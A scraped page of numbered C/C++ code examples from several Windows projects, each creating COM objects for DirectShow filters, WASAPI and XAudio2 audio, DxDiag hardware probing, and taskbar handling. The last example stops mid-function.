Esempio n. 1
0
STDAPI
AMovieDllRegisterServer2( BOOL bRegister )
{
  HRESULT hr = NOERROR;

  DbgLog((LOG_TRACE, 2, TEXT("AMovieDllRegisterServer2()")));

  // get file name (where g_hInst is the
  // instance handle of the filter dll)
  //
  WCHAR achFileName[MAX_PATH];

  // WIN95 doesn't support GetModuleFileNameW
  //
  {
    char achTemp[MAX_PATH];

    DbgLog((LOG_TRACE, 2, TEXT("- get module file name")));

    // g_hInst handle is set in our dll entry point. Make sure
    // DllEntryPoint in dllentry.cpp is called
    ASSERT(g_hInst != 0);

    if( 0 == GetModuleFileNameA( g_hInst
                              , achTemp
                              , sizeof(achTemp) ) )
    {
      // we've failed!
      DWORD dwerr = GetLastError();
      return AmHresultFromWin32(dwerr);
    }

    MultiByteToWideChar( CP_ACP
                       , 0L
                       , achTemp
                       , lstrlenA(achTemp) + 1
                       , achFileName
                       , NUMELMS(achFileName) );
  }

  //
  // first registering, register all OLE servers
  //
  if( bRegister )
  {
    DbgLog((LOG_TRACE, 2, TEXT("- register OLE Servers")));
    hr = RegisterAllServers( achFileName, TRUE );
  }

  //
  // next, register/unregister all filters
  //

  if( SUCCEEDED(hr) )
  {
    // init is ref counted so call just in case
    // we're being called cold.
    //
    DbgLog((LOG_TRACE, 2, TEXT("- CoInitialize")));
    hr = CoInitialize( (LPVOID)NULL );
    ASSERT( SUCCEEDED(hr) );

    // get hold of IFilterMapper2
    //
    DbgLog((LOG_TRACE, 2, TEXT("- obtain IFilterMapper2")));
    IFilterMapper2 *pIFM2 = 0;
    IFilterMapper *pIFM = 0;
    hr = CoCreateInstance( CLSID_FilterMapper2
                         , NULL
                         , CLSCTX_INPROC_SERVER
                         , IID_IFilterMapper2
                         , (void **)&pIFM2       );
    if(FAILED(hr))
    {
        DbgLog((LOG_TRACE, 2, TEXT("- trying IFilterMapper instead")));

        hr = CoCreateInstance(
            CLSID_FilterMapper,
            NULL,
            CLSCTX_INPROC_SERVER,
            IID_IFilterMapper,
            (void **)&pIFM);
    }
    if( SUCCEEDED(hr) )
    {
      // scan through array of CFactoryTemplates
      // registering servers and filters.
      //
      DbgLog((LOG_TRACE, 2, TEXT("- register Filters")));
      for( int i = 0; i < g_cTemplates; i++ )
      {
        // get i'th template
        //
        const CFactoryTemplate *pT = &g_Templates[i];

        if( NULL != pT->m_pAMovieSetup_Filter )
        {
          DbgLog((LOG_TRACE, 2, TEXT("- - register %ls"), (LPCWSTR)pT->m_Name ));

          if(pIFM2)
          {
              hr = AMovieSetupRegisterFilter2( pT->m_pAMovieSetup_Filter, pIFM2, bRegister );
          }
          else
          {
              hr = AMovieSetupRegisterFilter( pT->m_pAMovieSetup_Filter, pIFM, bRegister );
          }
        }

        // check final error for this pass
        // and break loop if we failed
        //
        if( FAILED(hr) )
          break;
      }

      // release interface
      //
      if(pIFM2)
          pIFM2->Release();
      else
          pIFM->Release();

    }

    // and clear up
    //
    CoFreeUnusedLibraries();
    CoUninitialize();
  }

  //
  // if unregistering, unregister all OLE servers
  //
  if( SUCCEEDED(hr) && !bRegister )
  {
    DbgLog((LOG_TRACE, 2, TEXT("- register OLE Servers")));
    hr = RegisterAllServers( achFileName, FALSE );
  }

  DbgLog((LOG_TRACE, 2, TEXT("- return %0x"), hr));
  return hr;
}
Esempio n. 2
0
static int WASAPI_Thread(void *arg)
{
	soundcardinfo_t *sc = arg;
	qboolean inited = false;

//	REFERENCE_TIME hnsRequestedDuration = REFTIMES_PER_SEC;
	IMMDeviceEnumerator *pEnumerator = NULL;
	IMMDevice *pDevice = NULL;
	IAudioClient *pAudioClient = NULL;
	IAudioRenderClient *pRenderClient = NULL;
	UINT32 bufferFrameCount;
	HANDLE hEvent = NULL;
	WAVEFORMATEX *pwfx;

	qboolean exclusive = Cvar_Get("wasapi_exclusive", "1", 0, "WASAPI audio output")->ival;

	void *cond = sc->handle;

	//main thread will wait for us to finish initing, so lets do that...
	CoInitialize(NULL);
	if (SUCCEEDED(CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL, &IID_IMMDeviceEnumerator, (void**)&pEnumerator)))
	if (SUCCEEDED(pEnumerator->lpVtbl->GetDefaultAudioEndpoint(pEnumerator, eRender, eConsole, &pDevice)))
	if (SUCCEEDED(pDevice->lpVtbl->Activate(pDevice, &IID_IAudioClient, CLSCTX_ALL, NULL, (void**)&pAudioClient)))
	{
		if (!WASAPI_DetermineFormat(sc, pAudioClient, exclusive, &pwfx))
		{
			Con_Printf("WASAPI: unable to determine mutually supported audio format\n");
		}
		else
		{


			if (sc->sn.samplebits && (!snd_speed || sc->sn.speed == snd_speed))
			{
				HRESULT hr;
				REFERENCE_TIME buffersize = REFTIMES_PER_SEC * Cvar_Get("wasapi_buffersize", "0.01", 0, "WASAPI audio output")->ival;
				if (exclusive)
					pAudioClient->lpVtbl->GetDevicePeriod(pAudioClient, NULL, &buffersize);

				hr = pAudioClient->lpVtbl->Initialize(pAudioClient, exclusive?AUDCLNT_SHAREMODE_EXCLUSIVE:AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, buffersize, (exclusive?buffersize:0), pwfx, NULL);

				if (hr == AUDCLNT_E_BUFFER_SIZE_NOT_ALIGNED)
				{	//this is stupid, but does what the documentation says should be done.
					if (SUCCEEDED(pAudioClient->lpVtbl->GetBufferSize(pAudioClient, &bufferFrameCount)))
					{
						if (pAudioClient)
							pAudioClient->lpVtbl->Release(pAudioClient);
						pAudioClient = NULL;
						if (SUCCEEDED(pDevice->lpVtbl->Activate(pDevice, &IID_IAudioClient, CLSCTX_ALL, NULL, (void**)&pAudioClient)))
						{
							buffersize = (REFERENCE_TIME)((10000.0 * 1000 / pwfx->nSamplesPerSec * bufferFrameCount) + 0.5);
							hr = pAudioClient->lpVtbl->Initialize(pAudioClient, exclusive?AUDCLNT_SHAREMODE_EXCLUSIVE:AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, buffersize, (exclusive?buffersize:0), pwfx, NULL);
						}
					}
				}

				if (SUCCEEDED(hr))
				{
					hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
					if (hEvent)
					{
						pAudioClient->lpVtbl->SetEventHandle(pAudioClient, hEvent);
						if (SUCCEEDED(pAudioClient->lpVtbl->GetBufferSize(pAudioClient, &bufferFrameCount)))
						if (SUCCEEDED(pAudioClient->lpVtbl->GetService(pAudioClient, &IID_IAudioRenderClient, (void**)&pRenderClient)))
							inited = true;
					}
				}
				else
				{
					switch(hr)
					{
					case AUDCLNT_E_UNSUPPORTED_FORMAT:
						Con_Printf("WASAPI Initialize: AUDCLNT_E_UNSUPPORTED_FORMAT\n");
						break;
					case AUDCLNT_E_EXCLUSIVE_MODE_NOT_ALLOWED:
						Con_Printf("WASAPI Initialize: AUDCLNT_E_EXCLUSIVE_MODE_NOT_ALLOWED\n");
						break;
					case AUDCLNT_E_EXCLUSIVE_MODE_ONLY:
						Con_Printf("WASAPI Initialize: AUDCLNT_E_EXCLUSIVE_MODE_ONLY\n");
						break;
					case AUDCLNT_E_DEVICE_IN_USE:
						Con_Printf("WASAPI Initialize: AUDCLNT_E_DEVICE_IN_USE\n");
						break;
					case AUDCLNT_E_BUFFER_SIZE_NOT_ALIGNED:
						Con_Printf("WASAPI Initialize: AUDCLNT_E_BUFFER_SIZE_NOT_ALIGNED\n");
						break;
					case E_INVALIDARG:
						Con_Printf("WASAPI Initialize: E_INVALIDARG\n");
						break;
					default:
						Con_Printf("pAudioClient->lpVtbl->Initialize failed (%x)\n", (unsigned int)hr);
					}
				}
			}

			CoTaskMemFree(pwfx);
		}
	}

	if (inited)
		sc->Shutdown	= WASAPI_Shutdown;
	else
		Con_Printf("Unable to initialise WASAPI\n");
	sc->Lock		= WASAPI_Lock;
	sc->Unlock		= WASAPI_Unlock;
	sc->Submit		= WASAPI_Submit;
	sc->GetDMAPos	= WASAPI_GetDMAPos;
	
	//wake up the main thread now that we know if it worked.
	Sys_ConditionSignal(cond);

	//extra crap to get the OS to favour waking us up on demand.
	{
		HANDLE (WINAPI *pAvSetMmThreadCharacteristics)(LPCTSTR TaskName, LPDWORD TaskIndex);
		dllfunction_t funcs[] = {{(void*)&pAvSetMmThreadCharacteristics, "AvSetMmThreadCharacteristics"}, {NULL}};
		DWORD taskIndex = 0;

		if (Sys_LoadLibrary("avrt.dll", funcs))
			pAvSetMmThreadCharacteristics(TEXT("Pro Audio"), &taskIndex);
	}

	while(sc->Shutdown != NULL)
	{
		UINT32 numFramesPadding = 0;
		if (exclusive || SUCCEEDED(pAudioClient->lpVtbl->GetCurrentPadding(pAudioClient, &numFramesPadding)))
		{
			UINT32 numFramesAvailable = bufferFrameCount - numFramesPadding;
			BYTE *pData;
			if (SUCCEEDED(pRenderClient->lpVtbl->GetBuffer(pRenderClient, numFramesAvailable, &pData)))
			{
				sc->sn.buffer = pData;
				sc->sn.samples = numFramesAvailable * sc->sn.numchannels;
				sc->samplequeue = sc->sn.samples;
				S_MixerThread(sc);
				sc->snd_sent += numFramesAvailable * sc->sn.numchannels;

				pRenderClient->lpVtbl->ReleaseBuffer(pRenderClient, numFramesAvailable, 0);
			}
		}

		if (inited)
		{
			pAudioClient->lpVtbl->Start(pAudioClient);
			inited = false;
		}

		if (hEvent && WaitForSingleObject(hEvent, 2000) != WAIT_OBJECT_0)
		{
			Con_Printf("WASAPI timeout\n");
			break;
		}

		/* Quote:
		On NT (Win2K and XP) the cursors in SW buffers (and HW buffers on some devices) move in 10ms increments, so calling GetCurrentPosition() every 10ms is ideal.
		Calling it more often than every 5ms will cause some perf degradation.
		*/
//		Sleep(10);
	}

	if (inited)
		pAudioClient->lpVtbl->Stop(pAudioClient);

	if (pRenderClient)
		pRenderClient->lpVtbl->Release(pRenderClient);
	if (pAudioClient)
		pAudioClient->lpVtbl->Release(pAudioClient);
	if (pDevice)
		pDevice->lpVtbl->Release(pDevice);
	if (pEnumerator)
		pEnumerator->lpVtbl->Release(pEnumerator);
	return 0;
}
Esempio n. 3
0
BOOL LLDXHardware::getInfo(BOOL vram_only)
{
	LLTimer hw_timer;
	BOOL ok = FALSE;
    HRESULT       hr;

    CoInitialize(NULL);

    IDxDiagProvider *dx_diag_providerp = NULL;
    IDxDiagContainer *dx_diag_rootp = NULL;
	IDxDiagContainer *devices_containerp = NULL;
	// IDxDiagContainer *system_device_containerp= NULL;
	IDxDiagContainer *device_containerp = NULL;
	IDxDiagContainer *file_containerp = NULL;
	IDxDiagContainer *driver_containerp = NULL;

    // CoCreate a IDxDiagProvider*
	LL_DEBUGS("AppInit") << "CoCreateInstance IID_IDxDiagProvider" << LL_ENDL;
    hr = CoCreateInstance(CLSID_DxDiagProvider,
                          NULL,
                          CLSCTX_INPROC_SERVER,
                          IID_IDxDiagProvider,
                          (LPVOID*) &dx_diag_providerp);

	if (FAILED(hr))
	{
		LL_WARNS("AppInit") << "No DXDiag provider found!  DirectX 9 not installed!" << LL_ENDL;
		gWriteDebug("No DXDiag provider found!  DirectX 9 not installed!\n");
		goto LCleanup;
	}
    if (SUCCEEDED(hr)) // if FAILED(hr) then dx9 is not installed
    {
        // Fill out a DXDIAG_INIT_PARAMS struct and pass it to IDxDiagContainer::Initialize
        // Passing in TRUE for bAllowWHQLChecks, allows dxdiag to check if drivers are 
        // digital signed as logo'd by WHQL which may connect via internet to update 
        // WHQL certificates.    
        DXDIAG_INIT_PARAMS dx_diag_init_params;
        ZeroMemory(&dx_diag_init_params, sizeof(DXDIAG_INIT_PARAMS));

        dx_diag_init_params.dwSize                  = sizeof(DXDIAG_INIT_PARAMS);
        dx_diag_init_params.dwDxDiagHeaderVersion   = DXDIAG_DX9_SDK_VERSION;
        dx_diag_init_params.bAllowWHQLChecks        = TRUE;
        dx_diag_init_params.pReserved               = NULL;

		LL_DEBUGS("AppInit") << "dx_diag_providerp->Initialize" << LL_ENDL;
        hr = dx_diag_providerp->Initialize(&dx_diag_init_params);
        if(FAILED(hr))
		{
            goto LCleanup;
		}

		LL_DEBUGS("AppInit") << "dx_diag_providerp->GetRootContainer" << LL_ENDL;
        hr = dx_diag_providerp->GetRootContainer( &dx_diag_rootp );
        if(FAILED(hr) || !dx_diag_rootp)
		{
            goto LCleanup;
		}

		HRESULT hr;

		// Get display driver information
		LL_DEBUGS("AppInit") << "dx_diag_rootp->GetChildContainer" << LL_ENDL;
		hr = dx_diag_rootp->GetChildContainer(L"DxDiag_DisplayDevices", &devices_containerp);
		if(FAILED(hr) || !devices_containerp)
		{
            goto LCleanup;
		}

		// Get device 0
		LL_DEBUGS("AppInit") << "devices_containerp->GetChildContainer" << LL_ENDL;
		hr = devices_containerp->GetChildContainer(L"0", &device_containerp);
		if(FAILED(hr) || !device_containerp)
		{
            goto LCleanup;
		}
		
		// Get the English VRAM string
		{
		  std::string ram_str = get_string(device_containerp, L"szDisplayMemoryEnglish");

		  // We don't need the device any more
		  SAFE_RELEASE(device_containerp);

		  // Dump the string as an int into the structure
		  char *stopstring;
		  mVRAM = strtol(ram_str.c_str(), &stopstring, 10); 
		  LL_INFOS("AppInit") << "VRAM Detected: " << mVRAM << " DX9 string: " << ram_str << LL_ENDL;
		}

		if (vram_only)
		{
			ok = TRUE;
			goto LCleanup;
		}


		/* for now, we ONLY do vram_only the rest of this
		   is commented out, to ensure no-one is tempted
		   to use it
		
		// Now let's get device and driver information
		// Get the IDxDiagContainer object called "DxDiag_SystemDevices".
		// This call may take some time while dxdiag gathers the info.
		DWORD num_devices = 0;
	    WCHAR wszContainer[256];
		LL_DEBUGS("AppInit") << "dx_diag_rootp->GetChildContainer DxDiag_SystemDevices" << LL_ENDL;
		hr = dx_diag_rootp->GetChildContainer(L"DxDiag_SystemDevices", &system_device_containerp);
		if (FAILED(hr))
		{
			goto LCleanup;
		}

		hr = system_device_containerp->GetNumberOfChildContainers(&num_devices);
		if (FAILED(hr))
		{
			goto LCleanup;
		}

		LL_DEBUGS("AppInit") << "DX9 iterating over devices" << LL_ENDL;
		S32 device_num = 0;
		for (device_num = 0; device_num < (S32)num_devices; device_num++)
		{
			hr = system_device_containerp->EnumChildContainerNames(device_num, wszContainer, 256);
			if (FAILED(hr))
			{
				goto LCleanup;
			}

			hr = system_device_containerp->GetChildContainer(wszContainer, &device_containerp);
			if (FAILED(hr) || device_containerp == NULL)
			{
				goto LCleanup;
			}

			std::string device_name = get_string(device_containerp, L"szDescription");

			std::string device_id = get_string(device_containerp, L"szDeviceID");

			LLDXDevice *dxdevicep = new LLDXDevice;
			dxdevicep->mName = device_name;
			dxdevicep->mPCIString = device_id;
			mDevices[dxdevicep->mPCIString] = dxdevicep;

			// Split the PCI string based on vendor, device, subsys, rev.
			std::string str(device_id);
			typedef boost::tokenizer<boost::char_separator<char> > tokenizer;
			boost::char_separator<char> sep("&\\", "", boost::keep_empty_tokens);
			tokenizer tokens(str, sep);

			tokenizer::iterator iter = tokens.begin();
			S32 count = 0;
			BOOL valid = TRUE;
			for (;(iter != tokens.end()) && (count < 3);++iter)
			{
				switch (count)
				{
				case 0:
					if (strcmp(iter->c_str(), "PCI"))
					{
						valid = FALSE;
					}
					break;
				case 1:
					dxdevicep->mVendorID = iter->c_str();
					break;
				case 2:
					dxdevicep->mDeviceID = iter->c_str();
					break;
				default:
					// Ignore it
					break;
				}
				count++;
			}




			// Now, iterate through the related drivers
			hr = device_containerp->GetChildContainer(L"Drivers", &driver_containerp);
			if (FAILED(hr) || !driver_containerp)
			{
				goto LCleanup;
			}

			DWORD num_files = 0;
			hr = driver_containerp->GetNumberOfChildContainers(&num_files);
			if (FAILED(hr))
			{
				goto LCleanup;
			}

			S32 file_num = 0;
			for (file_num = 0; file_num < (S32)num_files; file_num++ )
			{

				hr = driver_containerp->EnumChildContainerNames(file_num, wszContainer, 256);
				if (FAILED(hr))
				{
					goto LCleanup;
				}

				hr = driver_containerp->GetChildContainer(wszContainer, &file_containerp);
				if (FAILED(hr) || file_containerp == NULL)
				{
					goto LCleanup;
				}

				std::string driver_path = get_string(file_containerp, L"szPath");
				std::string driver_name = get_string(file_containerp, L"szName");
				std::string driver_version = get_string(file_containerp, L"szVersion");
				std::string driver_date = get_string(file_containerp, L"szDatestampEnglish");

				LLDXDriverFile *dxdriverfilep = new LLDXDriverFile;
				dxdriverfilep->mName = driver_name;
				dxdriverfilep->mFilepath= driver_path;
				dxdriverfilep->mVersionString = driver_version;
				dxdriverfilep->mVersion.set(driver_version);
				dxdriverfilep->mDateString = driver_date;

				dxdevicep->mDriverFiles[driver_name] = dxdriverfilep;

				SAFE_RELEASE(file_containerp);
			}
			SAFE_RELEASE(device_containerp);
		}
		*/
    }

    // dumpDevices();
    ok = TRUE;
	
LCleanup:
	if (!ok)
	{
		LL_WARNS("AppInit") << "DX9 probe failed" << LL_ENDL;
		gWriteDebug("DX9 probe failed\n");
	}

	SAFE_RELEASE(file_containerp);
	SAFE_RELEASE(driver_containerp);
	SAFE_RELEASE(device_containerp);
	SAFE_RELEASE(devices_containerp);
    SAFE_RELEASE(dx_diag_rootp);
    SAFE_RELEASE(dx_diag_providerp);
    
    CoUninitialize();
    
    return ok;
    }
Esempio n. 4
0
pix_movieDS :: pix_movieDS(t_symbol *filename) :
	m_haveMovie(FALSE),
	m_frame(NULL),
	m_csize(0),
	m_xsize(0),
	m_ysize(0),
	FilterGraph(NULL),
	VideoFilter(NULL),
	SampleFilter(NULL),
	NullFilter(NULL),
	SampleGrabber(NULL),
	MediaControl(NULL),
	MediaSeeking(NULL),
	MediaPosition(NULL)
{
	HRESULT	RetVal;

	m_dataSize[0]	= m_csize;
	m_dataSize[1]	= m_xsize;
	m_dataSize[2]	= m_ysize;

	// Initialize COM
	CoInitialize(NULL);

    // Create the base object of a filter graph
    RetVal	= CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
		IID_IGraphBuilder, (void **)&FilterGraph);

	if (RetVal != S_OK || NULL == FilterGraph)
	{
		error("Unable to create FilterGraph interface %d", RetVal);

		return;
	}

	// Get the IMediaControl interface for Run, Stop, Pause and keeps control states
	RetVal	= FilterGraph->QueryInterface(IID_IMediaControl, (void **)&MediaControl);

	if (RetVal != S_OK || NULL == MediaControl)
	{
		error("Unable to create MediaControl interface %d", RetVal);

		return;
	}

	// Get the IMediaSeeking interface for rewinding video at loop point
	// and set time format to frames
	RetVal	= FilterGraph->QueryInterface(IID_IMediaSeeking, (void **)&MediaSeeking);

	if (RetVal != S_OK || NULL == MediaSeeking)
	{
		error("Unable to create MediaSeeking interface %d", RetVal);

		return;
	}

	// Get the IMediaPosition interface for getting the current position of the clip
	RetVal	= FilterGraph->QueryInterface(IID_IMediaPosition, (void **)&MediaPosition);

	if (RetVal != S_OK || NULL == MediaPosition)
	{
		error("Unable to create MediaPosition interface %d", RetVal);

		return;
	}

	if (strlen(filename->s_name) > 0)
	{
		openMess(filename, GL_RGBA);
	}
}
gboolean
gst_dshow_find_filter (CLSID input_majortype, CLSID input_subtype,
    CLSID output_majortype, CLSID output_subtype,
    gchar * prefered_filter_name, IBaseFilter ** filter)
{
  gboolean ret = FALSE;
  HRESULT hres;
  GUID arrayInTypes[2];
  GUID arrayOutTypes[2];
  IFilterMapper2 *mapper = NULL;
  IEnumMoniker *enum_moniker = NULL;
  IMoniker *moniker = NULL;
  ULONG fetched;
  gchar *prefered_filter_upper = NULL;
  gboolean exit = FALSE;

  /* initialize output parameter */
  if (filter)
    *filter = NULL;

  /* create a private copy of prefered filter substring in upper case */
  if (prefered_filter_name) {
    prefered_filter_upper = g_strdup (prefered_filter_name);
    _strupr (prefered_filter_upper);
  }

  hres = CoCreateInstance (CLSID_FilterMapper2, NULL, CLSCTX_INPROC,
      IID_IFilterMapper2, (void **) &mapper);
  if (FAILED (hres))
    goto clean;

  memcpy (&arrayInTypes[0], &input_majortype, sizeof (CLSID));
  memcpy (&arrayInTypes[1], &input_subtype, sizeof (CLSID));
  memcpy (&arrayOutTypes[0], &output_majortype, sizeof (CLSID));
  memcpy (&arrayOutTypes[1], &output_subtype, sizeof (CLSID));

  hres =
      mapper->EnumMatchingFilters (&enum_moniker, 0, FALSE,
      MERIT_DO_NOT_USE + 1, TRUE, 1, arrayInTypes, NULL, NULL, FALSE, TRUE, 1,
      arrayOutTypes, NULL, NULL);
  if (FAILED (hres))
    goto clean;

  enum_moniker->Reset ();

  while (hres = enum_moniker->Next (1, &moniker, &fetched), hres == S_OK
      && !exit) {
    IBaseFilter *filter_temp = NULL;
    IPropertyBag *property_bag = NULL;
    gchar *friendly_name = NULL;

    hres =
        moniker->BindToStorage (NULL, NULL, IID_IPropertyBag,
        (void **) &property_bag);
    if (SUCCEEDED (hres) && property_bag) {
      VARIANT varFriendlyName;
      VariantInit (&varFriendlyName);

      hres = property_bag->Read (L"FriendlyName", &varFriendlyName, NULL);
      if (hres == S_OK && varFriendlyName.bstrVal) {
        friendly_name =
            g_utf16_to_utf8 ((const gunichar2 *) varFriendlyName.bstrVal,
            wcslen (varFriendlyName.bstrVal), NULL, NULL, NULL);
        if (friendly_name)
          _strupr (friendly_name);
        SysFreeString (varFriendlyName.bstrVal);
      }
      property_bag->Release ();
    }

    hres =
        moniker->BindToObject (NULL, NULL, IID_IBaseFilter,
        (void **) &filter_temp);
    if (SUCCEEDED (hres) && filter_temp) {
      ret = TRUE;
      if (filter) {
        if (*filter)
          (*filter)->Release ();

        *filter = filter_temp;
        (*filter)->AddRef ();

        if (prefered_filter_upper && friendly_name &&
            strstr (friendly_name, prefered_filter_upper))
          exit = TRUE;
      }

      /* if we just want to know if the formats are supported OR
         if we don't care about what will be the filter used
         => we can stop enumeration */
      if (!filter || !prefered_filter_upper)
        exit = TRUE;

      filter_temp->Release ();
    }

    if (friendly_name)
      g_free (friendly_name);
    moniker->Release ();
  }

clean:
  if (prefered_filter_upper)
    g_free (prefered_filter_upper);
  if (enum_moniker)
    enum_moniker->Release ();
  if (mapper)
    mapper->Release ();

  return ret;
}
Esempio n. 6
0
// Handles all the windows messages we might receive
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    static bool gDragging = false;
    static uint8_t mouse_down = 0;

    // Messages we registered for manually (no const value)
    if (message == s_WmTaskbarList)
    {
        // Grab the Windows 7 taskbar list stuff
        if (gTaskbarList)
            gTaskbarList->Release();
        HRESULT result = CoCreateInstance(CLSID_TaskbarList, NULL, CLSCTX_ALL, IID_ITaskbarList3, (void**)&gTaskbarList);
        if (FAILED(result))
            gTaskbarList = nil;
        return 0;
    }

    // Handle messages
    switch (message) {
    case WM_TIMECHANGE:
        // To prevent cheating and keep things better synchronized,
        // we will completely re-eval the offsets on the next NetMsg we
        // get from the server
        if (plNetClientMgr* nc = plNetClientMgr::GetInstance())
            nc->ResetServerTimeOffset(true);
        break;

    case WM_LBUTTONDOWN:
    case WM_RBUTTONDOWN:
    case WM_LBUTTONDBLCLK:
    case WM_MBUTTONDBLCLK:
    case WM_MBUTTONDOWN:
    case WM_RBUTTONDBLCLK:
        // Ensure we don't leave the client area during clicks
        if (!(mouse_down++))
            SetCapture(hWnd);
    // fall through to old case
    case WM_KEYDOWN:
    case WM_CHAR:
        // If they did anything but move the mouse, quit any intro movie playing.
        if (gClient)
        {
            gClient->SetQuitIntro(true);

            // normal input processing
            if (gClient->WindowActive() && gClient->GetInputManager())
                gClient->GetInputManager()->HandleWin32ControlEvent(message, wParam, lParam, hWnd);
        }
        break;
    case WM_LBUTTONUP:
    case WM_RBUTTONUP:
    case WM_MBUTTONUP:
        // Stop hogging the cursor
        if (!(--mouse_down))
            ReleaseCapture();
    // fall through to input processing
    case WM_MOUSEWHEEL:
    case WM_KEYUP:
        if (gClient && gClient->WindowActive() && gClient->GetInputManager())
            gClient->GetInputManager()->HandleWin32ControlEvent(message, wParam, lParam, hWnd);
        break;

    case WM_MOUSEMOVE:
    {
        if (gClient && gClient->GetInputManager())
            gClient->GetInputManager()->HandleWin32ControlEvent(message, wParam, lParam, hWnd);
    }
    break;

    case WM_SYSKEYUP:
    case WM_SYSKEYDOWN:
    {
        if (gClient && gClient->WindowActive() && gClient->GetInputManager())
        {
            gClient->GetInputManager()->HandleWin32ControlEvent(message, wParam, lParam, hWnd);
        }
        //DefWindowProc(hWnd, message, wParam, lParam);
    }
    break;

    case WM_SYSCOMMAND:
        switch (wParam) {
        // Trap ALT so it doesn't pause the app
        case SC_KEYMENU :
        //// disable screensavers and monitor power downs too.
        case SC_SCREENSAVE:
        case SC_MONITORPOWER:
            return 0;
        case SC_CLOSE :
            // kill game if window is closed
            gClient->SetDone(TRUE);
            if (plNetClientMgr * mgr = plNetClientMgr::GetInstance())
                mgr->QueueDisableNet(false, nil);
            DestroyWindow(gClient->GetWindowHandle());
            break;
        }
        break;

    case WM_SETCURSOR:
    {
        static bool winCursor = true;
        bool enterWnd = LOWORD(lParam) == HTCLIENT;
        if (enterWnd && winCursor)
        {
            winCursor = !winCursor;
            ShowCursor(winCursor != 0);
            plMouseDevice::ShowCursor();
        }
        else if (!enterWnd && !winCursor)
        {
            winCursor = !winCursor;
            ShowCursor(winCursor != 0);
            plMouseDevice::HideCursor();
        }
        return TRUE;
    }
    break;

    case WM_ACTIVATE:
    {
        bool active = (LOWORD(wParam) == WA_ACTIVE || LOWORD(wParam) == WA_CLICKACTIVE);
        bool minimized = (HIWORD(wParam) != 0);

        if (gClient && !minimized && !gClient->GetDone())
        {
            gClient->WindowActivate(active);
        }
        else
        {
            gPendingActivate = true;
            gPendingActivateFlag = active;
        }
    }
    break;

    // Let go of the mouse if the window is being moved.
    case WM_ENTERSIZEMOVE:
        gDragging = true;
        if( gClient )
            gClient->WindowActivate(false);
        break;

    // Redo the mouse capture if the window gets moved
    case WM_EXITSIZEMOVE:
        gDragging = false;
        if( gClient )
            gClient->WindowActivate(true);
        break;

    // Redo the mouse capture if the window gets moved (special case for Colin
    // and his cool program that bumps windows out from under the taskbar)
    case WM_MOVE:
        if (!gDragging && gClient && gClient->GetInputManager())
            gClient->GetInputManager()->Activate(true);
        break;

    /// Resize the window
    // (we do WM_SIZING here instead of WM_SIZE because, for some reason, WM_SIZE is
    //  sent to the window when we do fullscreen, and what's more, it gets sent BEFORE
    //  the fullscreen flag is sent. How does *that* happen? Anyway, WM_SIZING acts
    //  just like WM_SIZE, except that it ONLY gets sent when the user changes the window
    //  size, not when the window is minimized or restored)
    case WM_SIZING:
    {
        RECT r;
        ::GetClientRect(hWnd, &r);
        gClient->GetPipeline()->Resize(r.right - r.left, r.bottom - r.top);
    }
    break;

    case WM_SIZE:
        // Let go of the mouse if the window is being minimized
        if (wParam == SIZE_MINIMIZED)
        {
            if (gClient)
                gClient->WindowActivate(false);
        }
        // Redo the mouse capture if the window gets restored
        else if (wParam == SIZE_RESTORED)
        {
            if (gClient)
                gClient->WindowActivate(true);
        }
        break;

    case WM_CLOSE:
        gClient->SetDone(TRUE);
        if (plNetClientMgr * mgr = plNetClientMgr::GetInstance())
            mgr->QueueDisableNet(false, nil);
        DestroyWindow(gClient->GetWindowHandle());
        break;
    case WM_DESTROY:
        gClient->SetDone(TRUE);
        if (plNetClientMgr * mgr = plNetClientMgr::GetInstance())
            mgr->QueueDisableNet(false, nil);
        PostQuitMessage(0);
        break;
    }

    return DefWindowProc(hWnd, message, wParam, lParam);
}
Esempio n. 7
0
	bool SPXAudio::Load()
	{
		TCHAR Buffer[MAX_PATH]; 
		GetSystemDirectory(Buffer, MAX_PATH);
		SPString path = SPString(Buffer) + L"\\XAudio2_7.dll";

		if(PathFileExists( path.c_str()) == FALSE) 
		{
			// Register xaudio			
			SPLogHelper::WriteLog(L"[XAudio] Copying XAudio " + path );
			CopyFile(L"XAudio2_7.dll", path.c_str(), TRUE);
			SPLogHelper::WriteLog("[XAudio] Registering XAudio ..." );
			UINT result = WinExec("regsvr32.exe XAudio2_7.dll ", SW_HIDE);
		}

		//void* fnc = GetProcAddress(module, "XAudio2Create");

		SPLogHelper::WriteLog("[XAudio] Initializing XAudio ...");

		HRESULT hr = S_OK;//CoInitializeEx(NULL, COINIT_MULTITHREADED);

		if (FAILED(hr) && hr != -2147417850)
		{
			SPLogHelper::WriteLog("[XAudio] ERROR: Failed to initialize XAudio2!");
			SPMessageHelper::Msg("Failed to initialize XAudio2!");
			return false;
		}	

		IXAudio2* pXAudio2;

		hr = CoCreateInstance((0 & XAUDIO2_DEBUG_ENGINE) ? __uuidof(XAudio2_Debug) : __uuidof(XAudio2),
			NULL, CLSCTX_INPROC_SERVER, __uuidof(IXAudio2), (void**)&pXAudio2);

		if (SUCCEEDED(hr))
		{
			hr = pXAudio2->Initialize(0, XAUDIO2_DEFAULT_PROCESSOR);

			if (SUCCEEDED(hr))
			{
				xAudio = pXAudio2;
			}
			else
			{
				pXAudio2->Release();
			}
		}
		else
		{
			SPLogHelper::WriteLog("[XAudio] ERROR: Failed to create XAudio2! %d %d", __uuidof(IXAudio2), __uuidof(XAudio2_Debug));
		}

		//hr = XAudio2Create( &xAudio, 0, XAUDIO2_DEFAULT_PROCESSOR );

		if (FAILED(hr))
		{
			SPLogHelper::WriteLog("[XAudio] ERROR: Failed to create XAudio2! %d %d", hr, GetLastError());
			
			SPMessageHelper::Msg("Failed to create XAudio2!");
			return false;
		}

		// Enumerate and select devices
		UINT32 deviceCount;
		xAudio->GetDeviceCount(&deviceCount);

		XAUDIO2_DEVICE_DETAILS deviceDetails;
		int preferredDevice = 0;
		for (unsigned int i = 0; i < deviceCount; i++)
		{
			xAudio->GetDeviceDetails(i,&deviceDetails);
			if (deviceDetails.OutputFormat.Format.nChannels > 2)
			{
				preferredDevice = i;
				break;
			}
		}

		// Create mastering voice device
